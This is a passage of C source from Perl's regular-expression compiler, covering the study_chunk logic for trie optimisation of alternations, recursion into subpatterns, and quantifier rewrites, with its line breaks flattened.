and_withp, regnode_ssc); flags &= ~SCF_DO_STCLASS_AND; StructCopy(&accum, data->start_class, regnode_ssc); flags |= SCF_DO_STCLASS_OR; } } if (PERL_ENABLE_TRIE_OPTIMISATION && OP( startbranch ) == BRANCH ) { /* demq. Assuming this was/is a branch we are dealing with: 'scan' now points at the item that follows the branch sequence, whatever it is. We now start at the beginning of the sequence and look for subsequences of BRANCH->EXACT=>x1 BRANCH->EXACT=>x2 tail which would be constructed from a pattern like /A|LIST|OF|WORDS/ If we can find such a subsequence we need to turn the first element into a trie and then add the subsequent branch exact strings to the trie. We have two cases 1. patterns where the whole set of branches can be converted. 2. patterns where only a subset can be converted. In case 1 we can replace the whole set with a single regop for the trie. In case 2 we need to keep the start and end branches so 'BRANCH EXACT; BRANCH EXACT; BRANCH X' becomes BRANCH TRIE; BRANCH X; There is an additional case, that being where there is a common prefix, which gets split out into an EXACT like node preceding the TRIE node. If x(1..n)==tail then we can do a simple trie, if not we make a "jump" trie, such that when we match the appropriate word we "jump" to the appropriate tail node. Essentially we turn a nested if into a case structure of sorts. */ int made=0; if (!re_trie_maxbuff) { re_trie_maxbuff = get_sv(RE_TRIE_MAXBUF_NAME, 1); if (!SvIOK(re_trie_maxbuff)) sv_setiv(re_trie_maxbuff, RE_TRIE_MAXBUF_INIT); } if ( SvIV(re_trie_maxbuff)>=0 ) { regnode *cur; regnode *first = (regnode *)NULL; regnode *last = (regnode *)NULL; regnode *tail = scan; U8 trietype = 0; U32 count=0; /* var tail is used because there may be a TAIL regop in the way. Ie, the exacts will point to the thing following the TAIL, but the last branch will point at the TAIL. So we advance tail. If we have nested (?:) we may have to move through several tails. */ while ( OP( tail ) == TAIL ) { /* this is the TAIL generated by (?:) */ tail = regnext( tail ); } DEBUG_TRIE_COMPILE_r({ regprop(RExC_rx, RExC_mysv, tail, NULL, pRExC_state); Perl_re_indentf( aTHX_ "%s %" UVuf ":%s\n", depth+1, "Looking for TRIE'able sequences. Tail node is ", (UV) REGNODE_OFFSET(tail), SvPV_nolen_const( RExC_mysv ) ); }); /* Step through the branches cur represents each branch, noper is the first thing to be matched as part of that branch noper_next is the regnext() of that node. We normally handle a case like this /FOO[xyz]|BAR[pqr]/ via a "jump trie" but we also support building with NOJUMPTRIE, which restricts the trie logic to structures like /FOO|BAR/. If noper is a trieable nodetype then the branch is a possible optimization target. If we are building under NOJUMPTRIE then we require that noper_next is the same as scan (our current position in the regex program). Once we have two or more consecutive such branches we can create a trie of the EXACT's contents and stitch it in place into the program. If the sequence represents all of the branches in the alternation we replace the entire thing with a single TRIE node. Otherwise when it is a subsequence we need to stitch it in place and replace only the relevant branches. This means the first branch has to remain as it is used by the alternation logic, and its next pointer, and needs to be repointed at the item on the branch chain following the last branch we have optimized away. This could be either a BRANCH, in which case the subsequence is internal, or it could be the item following the branch sequence in which case the subsequence is at the end (which does not necessarily mean the first node is the start of the alternation). TRIE_TYPE(X) is a define which maps the optype to a trietype. optype | trietype ----------------+----------- NOTHING | NOTHING EXACT | EXACT EXACT_ONLY8 | EXACT EXACTFU | EXACTFU EXACTFU_ONLY8 | EXACTFU EXACTFUP | EXACTFU EXACTFAA | EXACTFAA EXACTL | EXACTL EXACTFLU8 | EXACTFLU8 */ #define TRIE_TYPE(X) ( ( NOTHING == (X) ) \ ? NOTHING \ : ( EXACT == (X) || EXACT_ONLY8 == (X) ) \ ? EXACT \ : ( EXACTFU == (X) \ || EXACTFU_ONLY8 == (X) \ || EXACTFUP == (X) ) \ ? EXACTFU \ : ( EXACTFAA == (X) ) \ ? EXACTFAA \ : ( EXACTL == (X) ) \ ? EXACTL \ : ( EXACTFLU8 == (X) ) \ ? EXACTFLU8 \ : 0 ) /* dont use tail as the end marker for this traverse */ for ( cur = startbranch ; cur != scan ; cur = regnext( cur ) ) { regnode * const noper = NEXTOPER( cur ); U8 noper_type = OP( noper ); U8 noper_trietype = TRIE_TYPE( noper_type ); #if defined(DEBUGGING) || defined(NOJUMPTRIE) regnode * const noper_next = regnext( noper ); U8 noper_next_type = (noper_next && noper_next < tail) ? OP(noper_next) : 0; U8 noper_next_trietype = (noper_next && noper_next < tail) ? TRIE_TYPE( noper_next_type ) :0; #endif DEBUG_TRIE_COMPILE_r({ regprop(RExC_rx, RExC_mysv, cur, NULL, pRExC_state); Perl_re_indentf( aTHX_ "- %d:%s (%d)", depth+1, REG_NODE_NUM(cur), SvPV_nolen_const( RExC_mysv ), REG_NODE_NUM(cur) ); regprop(RExC_rx, RExC_mysv, noper, NULL, pRExC_state); Perl_re_printf( aTHX_ " -> %d:%s", REG_NODE_NUM(noper), SvPV_nolen_const(RExC_mysv)); if ( noper_next ) { regprop(RExC_rx, RExC_mysv, noper_next, NULL, pRExC_state); Perl_re_printf( aTHX_ "\t=> %d:%s\t", REG_NODE_NUM(noper_next), SvPV_nolen_const(RExC_mysv)); } Perl_re_printf( aTHX_ "(First==%d,Last==%d,Cur==%d,tt==%s,ntt==%s,nntt==%s)\n", REG_NODE_NUM(first), REG_NODE_NUM(last), REG_NODE_NUM(cur), PL_reg_name[trietype], PL_reg_name[noper_trietype], PL_reg_name[noper_next_trietype] ); }); /* Is noper a trieable nodetype that can be merged * with the current trie (if there is one)? */ if ( noper_trietype && ( ( noper_trietype == NOTHING ) || ( trietype == NOTHING ) || ( trietype == noper_trietype ) ) #ifdef NOJUMPTRIE && noper_next >= tail #endif && count < U16_MAX) { /* Handle mergable triable node Either we are * the first node in a new trieable sequence, * in which case we do some bookkeeping, * otherwise we update the end pointer. */ if ( !first ) { first = cur; if ( noper_trietype == NOTHING ) { #if !defined(DEBUGGING) && !defined(NOJUMPTRIE) regnode * const noper_next = regnext( noper ); U8 noper_next_type = (noper_next && noper_next < tail) ? OP(noper_next) : 0; U8 noper_next_trietype = noper_next_type ? TRIE_TYPE( noper_next_type ) :0; #endif if ( noper_next_trietype ) { trietype = noper_next_trietype; } else if (noper_next_type) { /* a NOTHING regop is 1 regop wide. * We need at least two for a trie * so we can't merge this in */ first = NULL; } } else { trietype = noper_trietype; } } else { if ( trietype == NOTHING ) trietype = noper_trietype; last = cur; } if (first) count++; } /* end handle mergable triable node */ else { /* handle unmergable node - * noper may either be a triable node which can * not be tried together with the current trie, * or a non triable node */ if ( last ) { /* If last is set and trietype is not * NOTHING then we have found at least two * triable branch sequences in a row of a * similar trietype so we can turn them * into a trie. If/when we allow NOTHING to * start a trie sequence this condition * will be required, and it isn't expensive * so we leave it in for now. */ if ( trietype && trietype != NOTHING ) make_trie( pRExC_state, startbranch, first, cur, tail, count, trietype, depth+1 ); last = NULL; /* note: we clear/update first, trietype etc below, so we dont do it here */ } if ( noper_trietype #ifdef NOJUMPTRIE && noper_next >= tail #endif ){ /* noper is triable, so we can start a new * trie sequence */ count = 1; first = cur; trietype = noper_trietype; } else if (first) { /* if we already saw a first but the * current node is not triable then we have * to reset the first information. */ count = 0; first = NULL; trietype = 0; } } /* end handle unmergable node */ } /* loop over branches */ DEBUG_TRIE_COMPILE_r({ regprop(RExC_rx, RExC_mysv, cur, NULL, pRExC_state); Perl_re_indentf( aTHX_ "- %s (%d) <SCAN FINISHED> ", depth+1, SvPV_nolen_const( RExC_mysv ), REG_NODE_NUM(cur)); Perl_re_printf( aTHX_ "(First==%d, Last==%d, Cur==%d, tt==%s)\n", REG_NODE_NUM(first), REG_NODE_NUM(last), REG_NODE_NUM(cur), PL_reg_name[trietype] ); }); if ( last && trietype ) { if ( trietype != NOTHING ) { /* the last branch of the sequence was part of * a trie, so we have to construct it here * outside of the loop */ made= make_trie( pRExC_state, startbranch, first, scan, tail, count, trietype, depth+1 ); #ifdef TRIE_STUDY_OPT if ( ((made == MADE_EXACT_TRIE && startbranch == first) || ( first_non_open == first )) && depth==0 ) { flags |= SCF_TRIE_RESTUDY; if ( startbranch == first && scan >= tail ) { RExC_seen &=~REG_TOP_LEVEL_BRANCHES_SEEN; } } #endif } else { /* at this point we know whatever we have is a * NOTHING sequence/branch AND if 'startbranch' * is 'first' then we can turn the whole thing * into a NOTHING */ if ( startbranch == first ) { regnode *opt; /* the entire thing is a NOTHING sequence, * something like this: (?:|) So we can * turn it into a plain NOTHING op. */ DEBUG_TRIE_COMPILE_r({ regprop(RExC_rx, RExC_mysv, cur, NULL, pRExC_state); Perl_re_indentf( aTHX_ "- %s (%d) <NOTHING BRANCH SEQUENCE>\n", depth+1, SvPV_nolen_const( RExC_mysv ), REG_NODE_NUM(cur)); }); OP(startbranch)= NOTHING; NEXT_OFF(startbranch)= tail - startbranch; for ( opt= startbranch + 1; opt < tail ; opt++ ) OP(opt)= OPTIMIZED; } } } /* end if ( last) */ } /* TRIE_MAXBUF is non zero */ } /* do trie */ } else if ( code == BRANCHJ ) { /* single branch is optimized. */ scan = NEXTOPER(NEXTOPER(scan)); } else /* single branch is optimized. */ scan = NEXTOPER(scan); continue; } else if (OP(scan) == SUSPEND || OP(scan) == GOSUB) { I32 paren = 0; regnode *start = NULL; regnode *end = NULL; U32 my_recursed_depth= recursed_depth; if (OP(scan) != SUSPEND) { /* GOSUB */ /* Do setup, note this code has side effects beyond * the rest of this block. Specifically setting * RExC_recurse[] must happen at least once during * study_chunk(). */ paren = ARG(scan); RExC_recurse[ARG2L(scan)] = scan; start = REGNODE_p(RExC_open_parens[paren]); end = REGNODE_p(RExC_close_parens[paren]); /* NOTE we MUST always execute the above code, even * if we do nothing with a GOSUB */ if ( ( flags & SCF_IN_DEFINE ) || ( (is_inf_internal || is_inf || (data && data->flags & SF_IS_INF)) && ( (flags & (SCF_DO_STCLASS | SCF_DO_SUBSTR)) == 0 ) ) ) { /* no need to do anything here if we are in a define. */ /* or we are after some kind of infinite construct * so we can skip recursing into this item. * Since it is infinite we will not change the maxlen * or delta, and if we miss something that might raise * the minlen it will merely pessimise a little. * * Iow /(?(DEFINE)(?<foo>foo|food))a+(?&foo)/ * might result in a minlen of 1 and not of 4, * but this doesn't make us mismatch, just try a bit * harder than we should. * */ scan= regnext(scan); continue; } if ( !recursed_depth || !PAREN_TEST(RExC_study_chunk_recursed + ((recursed_depth-1) * RExC_study_chunk_recursed_bytes), paren) ) { /* it is quite possible that there are more efficient ways * to do this. We maintain a bitmap per level of recursion * of which patterns we have entered so we can detect if a * pattern creates a possible infinite loop. When we * recurse down a level we copy the previous levels bitmap * down. When we are at recursion level 0 we zero the top * level bitmap. It would be nice to implement a different * more efficient way of doing this. In particular the top * level bitmap may be unnecessary. */ if (!recursed_depth) { Zero(RExC_study_chunk_recursed, RExC_study_chunk_recursed_bytes, U8); } else { Copy(RExC_study_chunk_recursed + ((recursed_depth-1) * RExC_study_chunk_recursed_bytes), RExC_study_chunk_recursed + (recursed_depth * RExC_study_chunk_recursed_bytes), RExC_study_chunk_recursed_bytes, U8); } /* we havent recursed into this paren yet, so recurse into it */ DEBUG_STUDYDATA("gosub-set", data, depth, is_inf); PAREN_SET(RExC_study_chunk_recursed + (recursed_depth * RExC_study_chunk_recursed_bytes), paren); my_recursed_depth= recursed_depth + 1; } else { DEBUG_STUDYDATA("gosub-inf", data, depth, is_inf); /* some form of infinite recursion, assume infinite length * */ if (flags & SCF_DO_SUBSTR) { scan_commit(pRExC_state, data, minlenp, is_inf); data->cur_is_floating = 1; } is_inf = is_inf_internal = 1; if (flags & SCF_DO_STCLASS_OR) /* Allow everything */ ssc_anything(data->start_class); flags &= ~SCF_DO_STCLASS; start= NULL; /* reset start so we dont recurse later on. */ } } else { paren = stopparen; start = scan + 2; end = regnext(scan); } if (start) { scan_frame *newframe; assert(end); if (!RExC_frame_last) { Newxz(newframe, 1, scan_frame); SAVEDESTRUCTOR_X(S_unwind_scan_frames, newframe); RExC_frame_head= newframe; RExC_frame_count++; } else if (!RExC_frame_last->next_frame) { Newxz(newframe, 1, scan_frame); RExC_frame_last->next_frame= newframe; newframe->prev_frame= RExC_frame_last; RExC_frame_count++; } else { newframe= RExC_frame_last->next_frame; } RExC_frame_last= newframe; newframe->next_regnode = regnext(scan); newframe->last_regnode = last; newframe->stopparen = stopparen; newframe->prev_recursed_depth = recursed_depth; newframe->this_prev_frame= frame; DEBUG_STUDYDATA("frame-new", data, depth, is_inf); DEBUG_PEEP("fnew", scan, depth, flags); frame = newframe; scan = start; stopparen = paren; last = end; depth = depth + 1; recursed_depth= my_recursed_depth; continue; } } else if ( OP(scan) == EXACT || OP(scan) == EXACT_ONLY8 || OP(scan) == EXACTL) { SSize_t l = STR_LEN(scan); UV uc; assert(l); if (UTF) { const U8 * const s = (U8*)STRING(scan); uc = utf8_to_uvchr_buf(s, s + l, NULL); l = utf8_length(s, s + l); } else { uc = *((U8*)STRING(scan)); } min += l; if (flags & SCF_DO_SUBSTR) { /* Update longest substr. */ /* The code below prefers earlier match for fixed offset, later match for variable offset. */ if (data->last_end == -1) { /* Update the start info. */ data->last_start_min = data->pos_min; data->last_start_max = is_inf ? SSize_t_MAX : data->pos_min + data->pos_delta; } sv_catpvn(data->last_found, STRING(scan), STR_LEN(scan)); if (UTF) SvUTF8_on(data->last_found); { SV * const sv = data->last_found; MAGIC * const mg = SvUTF8(sv) && SvMAGICAL(sv) ? mg_find(sv, PERL_MAGIC_utf8) : NULL; if (mg && mg->mg_len >= 0) mg->mg_len += utf8_length((U8*)STRING(scan), (U8*)STRING(scan)+STR_LEN(scan)); } data->last_end = data->pos_min + l; data->pos_min += l; /* As in the first entry. */ data->flags &= ~SF_BEFORE_EOL; } /* ANDing the code point leaves at most it, and not in locale, and * can't match null string */ if (flags & SCF_DO_STCLASS_AND) { ssc_cp_and(data->start_class, uc); ANYOF_FLAGS(data->start_class) &= ~SSC_MATCHES_EMPTY_STRING; ssc_clear_locale(data->start_class); } else if (flags & SCF_DO_STCLASS_OR) { ssc_add_cp(data->start_class, uc); ssc_and(pRExC_state, data->start_class, (regnode_charclass *) and_withp); /* See commit msg 749e076fceedeb708a624933726e7989f2302f6a */ ANYOF_FLAGS(data->start_class) &= ~SSC_MATCHES_EMPTY_STRING; } flags &= ~SCF_DO_STCLASS; } else if (PL_regkind[OP(scan)] == EXACT) { /* But OP != EXACT!, so is EXACTFish */ SSize_t l = STR_LEN(scan); const U8 * s = (U8*)STRING(scan); /* Search for fixed substrings supports EXACT only. */ if (flags & SCF_DO_SUBSTR) { assert(data); scan_commit(pRExC_state, data, minlenp, is_inf); } if (UTF) { l = utf8_length(s, s + l); } if (unfolded_multi_char) { RExC_seen |= REG_UNFOLDED_MULTI_SEEN; } min += l - min_subtract; assert (min >= 0); delta += min_subtract; if (flags & SCF_DO_SUBSTR) { data->pos_min += l - min_subtract; if (data->pos_min < 0) { data->pos_min = 0; } data->pos_delta += min_subtract; if (min_subtract) { data->cur_is_floating = 1; /* float */ } } if (flags & SCF_DO_STCLASS) { SV* EXACTF_invlist = _make_exactf_invlist(pRExC_state, scan); assert(EXACTF_invlist); if (flags & SCF_DO_STCLASS_AND) { if (OP(scan) != EXACTFL) ssc_clear_locale(data->start_class); ANYOF_FLAGS(data->start_class) &= ~SSC_MATCHES_EMPTY_STRING; ANYOF_POSIXL_ZERO(data->start_class); ssc_intersection(data->start_class, EXACTF_invlist, FALSE); } else { /* SCF_DO_STCLASS_OR */ ssc_union(data->start_class, EXACTF_invlist, FALSE); ssc_and(pRExC_state, data->start_class, (regnode_charclass *) and_withp); /* See commit msg 749e076fceedeb708a624933726e7989f2302f6a */ ANYOF_FLAGS(data->start_class) &= ~SSC_MATCHES_EMPTY_STRING; } flags &= ~SCF_DO_STCLASS; SvREFCNT_dec(EXACTF_invlist); } } else if (REGNODE_VARIES(OP(scan))) { SSize_t mincount, maxcount, minnext, deltanext, pos_before = 0; I32 fl = 0, f = flags; regnode * const oscan = scan; regnode_ssc this_class; regnode_ssc *oclass = NULL; I32 next_is_eval = 0; switch (PL_regkind[OP(scan)]) { case WHILEM: /* End of (?:...)* . */ scan = NEXTOPER(scan); goto finish; case PLUS: if (flags & (SCF_DO_SUBSTR | SCF_DO_STCLASS)) { next = NEXTOPER(scan); if ( OP(next) == EXACT || OP(next) == EXACT_ONLY8 || OP(next) == EXACTL || (flags & SCF_DO_STCLASS)) { mincount = 1; maxcount = REG_INFTY; next = regnext(scan); scan = NEXTOPER(scan); goto do_curly; } } if (flags & SCF_DO_SUBSTR) data->pos_min++; min++; /* FALLTHROUGH */ case STAR: next = NEXTOPER(scan); /* This temporary node can now be turned into EXACTFU, and * must, as regexec.c doesn't handle it */ if (OP(next) == EXACTFU_S_EDGE) { OP(next) = EXACTFU; } if ( STR_LEN(next) == 1 && isALPHA_A(* STRING(next)) && ( OP(next) == EXACTFAA || ( OP(next) == EXACTFU && ! HAS_NONLATIN1_SIMPLE_FOLD_CLOSURE(* STRING(next))))) { /* These differ in just one bit */ U8 mask = ~ ('A' ^ 'a'); assert(isALPHA_A(* STRING(next))); /* Then replace it by an ANYOFM node, with * the mask set to the complement of the * bit that differs between upper and lower * case, and the lowest code point of the * pair (which the '&' forces) */ OP(next) = ANYOFM; ARG_SET(next, *STRING(next) & mask); FLAGS(next) = mask; } if (flags & SCF_DO_STCLASS) { mincount = 0; maxcount = REG_INFTY; next = regnext(scan); scan = NEXTOPER(scan); goto do_curly; } if (flags & SCF_DO_SUBSTR) { scan_commit(pRExC_state, data, minlenp, is_inf); /* Cannot extend fixed substrings */ data->cur_is_floating = 1; /* float */ } is_inf = is_inf_internal = 1; scan = regnext(scan); goto optimize_curly_tail; case CURLY: if (stopparen>0 && (OP(scan)==CURLYN || OP(scan)==CURLYM) && (scan->flags == stopparen)) { mincount = 1; maxcount = 1; } else { mincount = ARG1(scan); maxcount = ARG2(scan); } next = regnext(scan); if (OP(scan) == CURLYX) { I32 lp = (data ? *(data->last_closep) : 0); scan->flags = ((lp <= (I32)U8_MAX) ? (U8)lp : U8_MAX); } scan = NEXTOPER(scan) + EXTRA_STEP_2ARGS; next_is_eval = (OP(scan) == EVAL); do_curly: if (flags & SCF_DO_SUBSTR) { if (mincount == 0) scan_commit(pRExC_state, data, minlenp, is_inf); /* Cannot extend fixed substrings */ pos_before = data->pos_min; } if (data) { fl = data->flags; data->flags &= ~(SF_HAS_PAR|SF_IN_PAR|SF_HAS_EVAL); if (is_inf) data->flags |= SF_IS_INF; } if (flags & SCF_DO_STCLASS) { ssc_init(pRExC_state, &this_class); oclass = data->start_class; data->start_class = &this_class; f |= SCF_DO_STCLASS_AND; f &= ~SCF_DO_STCLASS_OR; } /* Exclude from super-linear cache processing any {n,m} regops for which the combination of input pos and regex pos is not enough information to determine if a match will be possible. For example, in the regex /foo(bar\s*){4,8}baz/ with the regex pos at the \s*, the prospects for a match depend not only on the input position but also on how many (bar\s*) repeats into the {4,8} we are. */ if ((mincount > 1) || (maxcount > 1 && maxcount != REG_INFTY)) f &= ~SCF_WHILEM_VISITED_POS; /* This will finish on WHILEM, setting scan, or on NULL: */ /* recurse study_chunk() on loop bodies */ minnext = study_chunk(pRExC_state, &scan, minlenp, &deltanext, last, data, stopparen, recursed_depth, NULL, (mincount == 0 ? (f & ~SCF_DO_SUBSTR) : f) ,depth+1); if (flags & SCF_DO_STCLASS) data->start_class = oclass; if (mincount == 0 || minnext == 0) { if (flags & SCF_DO_STCLASS_OR) { ssc_or(pRExC_state, data->start_class, (regnode_charclass *) &this_class); } else if (flags & SCF_DO_STCLASS_AND) { /* Switch to OR mode: cache the old value of * data->start_class */ INIT_AND_WITHP; StructCopy(data->start_class, and_withp, regnode_ssc); flags &= ~SCF_DO_STCLASS_AND; StructCopy(&this_class, data->start_class, regnode_ssc); flags |= SCF_DO_STCLASS_OR; ANYOF_FLAGS(data->start_class) |= SSC_MATCHES_EMPTY_STRING; } } else { /* Non-zero len */ if (flags & SCF_DO_STCLASS_OR) { ssc_or(pRExC_state, data->start_class, (regnode_charclass *) &this_class); ssc_and(pRExC_state, data->start_class, (regnode_charclass *) and_withp); } else if (flags & SCF_DO_STCLASS_AND) ssc_and(pRExC_state, data->start_class, (regnode_charclass *) &this_class); flags &= ~SCF_DO_STCLASS; } if (!scan) /* It was not CURLYX, but CURLY. */ scan = next; if (((flags & (SCF_TRIE_DOING_RESTUDY|SCF_DO_SUBSTR))==SCF_DO_SUBSTR) /* ? quantifier ok, except for (?{ ... }) */ && (next_is_eval || !(mincount == 0 && maxcount == 1)) && (minnext == 0) && (deltanext == 0) && data && !(data->flags & (SF_HAS_PAR|SF_IN_PAR)) && maxcount <= REG_INFTY/3) /* Complement check for big count */ { _WARN_HELPER(RExC_precomp_end, packWARN(WARN_REGEXP), Perl_ck_warner(aTHX_ packWARN(WARN_REGEXP), "Quantifier unexpected on zero-length expression " "in regex m/%" UTF8f "/", UTF8fARG(UTF, RExC_precomp_end - RExC_precomp, RExC_precomp))); } if ( ( minnext > 0 && mincount >= SSize_t_MAX / minnext ) || min >= SSize_t_MAX - minnext * mincount ) { FAIL("Regexp out of space"); } min += minnext * mincount; is_inf_internal |= deltanext == SSize_t_MAX || (maxcount == REG_INFTY && minnext + deltanext > 0); is_inf |= is_inf_internal; if (is_inf) { delta = SSize_t_MAX; } else { delta += (minnext + deltanext) * maxcount - minnext * mincount; } /* Try powerful optimization CURLYX => CURLYN. */ if ( OP(oscan) == CURLYX && data && data->flags & SF_IN_PAR && !(data->flags & SF_HAS_EVAL) && !deltanext && minnext == 1 ) { /* Try to optimize to CURLYN. */ regnode *nxt = NEXTOPER(oscan) + EXTRA_STEP_2ARGS; regnode * const nxt1 = nxt; #ifdef DEBUGGING regnode *nxt2; #endif /* Skip open. */ nxt = regnext(nxt); if (!REGNODE_SIMPLE(OP(nxt)) && !(PL_regkind[OP(nxt)] == EXACT && STR_LEN(nxt) == 1)) goto nogo; #ifdef DEBUGGING nxt2 = nxt; #endif nxt = regnext(nxt); if (OP(nxt) != CLOSE) goto nogo; if (RExC_open_parens) { /*open->CURLYM*/ RExC_open_parens[ARG(nxt1)] = REGNODE_OFFSET(oscan); /*close->while*/ RExC_close_parens[ARG(nxt1)] = REGNODE_OFFSET(nxt) + 2; } /* Now we know that nxt2 is the only contents: */ oscan->flags = (U8)ARG(nxt); OP(oscan) = CURLYN; OP(nxt1) = NOTHING; /* was OPEN. */ #ifdef DEBUGGING OP(nxt1 + 1) = OPTIMIZED; /* was count. */ NEXT_OFF(nxt1+ 1) = 0; /* just for consistency. */ NEXT_OFF(nxt2) = 0; /* just for consistency with CURLY. */ OP(nxt) = OPTIMIZED; /* was CLOSE. */ OP(nxt + 1) = OPTIMIZED; /* was count. */ NEXT_OFF(nxt+ 1) = 0; /* just for consistency. */ #endif } nogo: /* Try optimization CURLYX => CURLYM. */ if ( OP(oscan) == CURLYX && data && !(data->flags & SF_HAS_PAR) && !(data->flags & SF_HAS_EVAL) && !deltanext /* atom is fixed width */ && minnext != 0 /* CURLYM can't handle zero width */ /* Nor characters whose fold at run-time may be * multi-character */ && ! (RExC_seen & REG_UNFOLDED_MULTI_SEEN) ) { /* XXXX How to optimize if data == 0? */ /* Optimize to a simpler form. */ regnode *nxt = NEXTOPER(oscan) + EXTRA_STEP_2ARGS; /* OPEN */ regnode *nxt2; OP(oscan) = CURLYM; while ( (nxt2 = regnext(nxt)) /* skip over embedded stuff*/ && (OP(nxt2) != WHILEM)) nxt = nxt2; OP(nxt2) = SUCCEED; /* Whas WHILEM */ /* Need to optimize away parenths. */ if ((data->flags & SF_IN_PAR) && OP(nxt) == CLOSE) { /* Set the parenth number. */ regnode *nxt1 = NEXTOPER(oscan) + EXTRA_STEP_2ARGS; /* OPEN*/ oscan->flags = (U8)ARG(nxt); if (RExC_open_parens) { /*open->CURLYM*/ RExC_open_parens[ARG(nxt1)] = REGNODE_OFFSET(oscan); /*close->NOTHING*/ RExC_close_parens[ARG(nxt1)] = REGNODE_OFFSET(nxt2) + 1; } OP(nxt1) = OPTIMIZED; /* was OPEN. */ OP(nxt) = OPTIMIZED; /* was CLOSE. */ #ifdef DEBUGGING OP(nxt1 + 1) = OPTIMIZED; /* was count. */ OP(nxt + 1) = OPTIMIZED; /* was count. */ NEXT_OFF(nxt1 + 1) = 0; /* just for consistency. */ NEXT_OFF(nxt + 1) = 0; /* just for consistency. */ #endif #if 0 while ( nxt1 && (OP(nxt1) != WHILEM)) { regnode *nnxt = regnext(nxt1); if (nnxt == nxt) { if (reg_off_by_arg[OP(nxt1)]) ARG_SET(nxt1, nxt2 - nxt1); else if (nxt2 - nxt1 < U16_MAX) NEXT_OFF(nxt1) = nxt2 - nxt1; else OP(nxt) = NOTHING; /* Cannot beautify */ } nxt1 = nnxt; } #endif /* Optimize again: */ /* recurse study_chunk() on optimised CURLYX => CURLYM */ study_chunk(pRExC_state, &nxt1, minlenp, &deltanext, nxt, NULL, stopparen, recursed_depth, NULL, 0, depth+1); } else oscan->flags = 0; } else if ((OP(oscan) == CURLYX) && (flags & SCF_WHILEM_VISITED_POS) /* See the comment on a similar expression above. However, this time it's not a subexpression we care about, but the expression itself. */ && (maxcount == REG_INFTY) && data) { /* This stays as CURLYX, we can put the count/of pair. */ /* Find WHILEM (as in regexec.c) */ regnode *nxt = oscan + NEXT_OFF(oscan); if (OP(PREVOPER(nxt)) == NOTHING) /* LONGJMP */ nxt += ARG(nxt); nxt = PREVOPER(nxt); if (nxt->flags & 0xf) { /* we've already set whilem count on this node */ } else if (++data->whilem_c < 16) { assert(data->whilem_c <= RExC_whilem_seen); nxt->flags = (U8)(data->whilem_c | (RExC_whilem_seen << 4)); /* On WHILEM */ } } if (data && fl & (SF_HAS_PAR|SF_IN_PAR)) pars++; if (flags & SCF_DO_SUBSTR) { SV *last_str = NULL; STRLEN last_chrs = 0; int counted = mincount != 0; if (data->last_end > 0 && mincount != 0) { /* Ends with a string. */ SSize_t b = pos_before >= data->last_start_min ? pos_before : data->last_start_min; STRLEN l; const char * const s = SvPV_const(data->last_found, l); SSize_t old = b - data->last_start_min; assert(old >= 0); if (UTF) old = utf8_hop_forward((U8*)s, old, (U8 *) SvEND(data->last_found)) - (U8*)s; l -= old; /* Get the added string: */ last_str = newSVpvn_utf8(s + old, l, UTF); last_chrs = UTF ? utf8_length((U8*)(s + old), (U8*)(s + old + l)) : l; if (deltanext == 0 && pos_before == b) { /* What was added is a constant string */ if (mincount > 1) { SvGROW(last_str, (mincount * l) + 1); repeatcpy(SvPVX(last_str) + l, SvPVX_const(last_str), l, mincount - 1); SvCUR_set(last_str, SvCUR(last_str) * mincount); /* Add additional parts. */ SvCUR_set(data->last_found, SvCUR(data->last_found) - l); sv_catsv(data->last_found, last_str); { SV * sv = data->last_found; MAGIC *mg = SvUTF8(sv) && SvMAGICAL(sv) ? mg_find(sv, PERL_MAGIC_utf8) : NULL; if (mg && mg->mg_len >= 0) mg->mg_len += last_chrs * (mincount-1); } last_chrs *= mincount; data->last_end += l * (mincount - 1); } } else { /* start offset must point into the last copy */ data->last_start_min += minnext * (mincount - 1); data->last_start_max = is_inf ? SSize_t_MAX : data->last_start_max + (maxcount - 1) * (minnext + data->pos_delta); } } /* It is counted once already... */ data->pos_min += minnext * (mincount - counted); #if 0 Perl_re_printf( aTHX_ "counted=%" UVuf " deltanext=%" UVuf " SSize_t_MAX=%" UVuf " minnext=%" UVuf " maxcount=%" UVuf " mincount=%" UVuf "\n", (UV)counted, (UV)deltanext, (UV)SSize_t_MAX, (UV)minnext, (UV)maxcount, (UV)mincount); if (deltanext != SSize_t_MAX) Perl_re_printf( aTHX_ "LHS=%" UVuf " RHS=%" UVuf "\n", (UV)(-counted * deltanext + (minnext + deltanext) * maxcount - minnext * mincount), (UV)(SSize_t_MAX - data->pos_delta)); #endif if (deltanext == SSize_t_MAX || -counted * deltanext + (minnext + deltanext) * maxcount - minnext * mincount >= SSize_t_MAX - data->pos_delta) data->pos_delta = SSize_t_MAX; else data->pos_delta += - counted * deltanext + (minnext + deltanext) * maxcount - minnext * mincount; if (mincount != maxcount) { /* Cannot extend fixed substrings found inside the group. */ scan_commit(pRExC_state, data, minlenp, is_inf); if (mincount && last_str) { SV * const sv = data->last_found; MAGIC * const mg = SvUTF8(sv) && SvMAGICAL(sv) ? mg_find(sv, PERL_MAGIC_utf8) : NULL; if (mg) mg->mg_len = -1; sv_setsv(sv, last_str); data->last_end = data->pos_min; data->last_start_min = data->pos_min - last_chrs; data->last_start_max = is_inf ? SSize_t_MAX : data->pos_min + data->pos_delta - last_chrs; } data->cur_is_floating = 1; /* float */ } SvREFCNT_dec(last_str); } if (data && (fl & SF_HAS_EVAL)) data->flags |= SF_HAS_EVAL; optimize_curly_tail: rck_elide_nothing(oscan); continue; default: #ifdef DEBUGGING Perl_croak(aTHX_ "panic: unexpected varying REx opcode %d", OP(scan)); #endif case REF: case CLUMP: if (flags & SCF_DO_SUBSTR) { /* Cannot expect anything... */ scan_commit(pRExC_state, data, minlenp, is_inf); data->cur_is_floating = 1; /* float */ } is_inf = is_inf_internal = 1; if (flags & SCF_DO_STCLASS_OR) { if (OP(scan) == CLUMP) { /* Actually is any start char, but very few code points * aren't start characters */ ssc_match_all_cp(data->start_class); } else { ssc_anything(data->start_class); } } flags &= ~SCF_DO_STCLASS; break; } } else if (OP(scan) == LNBREAK) { if (flags & SCF_DO_STCLASS) { if (flags & SCF_DO_STCLASS_AND) { ssc_intersection(data->start_class, PL_XPosix_ptrs[_CC_VERTSPACE], FALSE); ssc_clear_locale(data->start_class); ANYOF_FLAGS(data->start_class) &= ~SSC_MATCHES_EMPTY_STRING; } else if (flags & SCF_DO_STCLASS_OR) { ssc_union(data->start_class, PL_XPosix_ptrs[_CC_VERTSPACE], FALSE); ssc_and(pRExC_state, data->start_class, (regnode_charclass *) and_withp); /* See commit msg for * 749e076fceedeb708a624933726e7989f2302f6a */ ANYOF_FLAGS(data->start_class) &= ~SSC_MATCHES_EMPTY_STRING; } 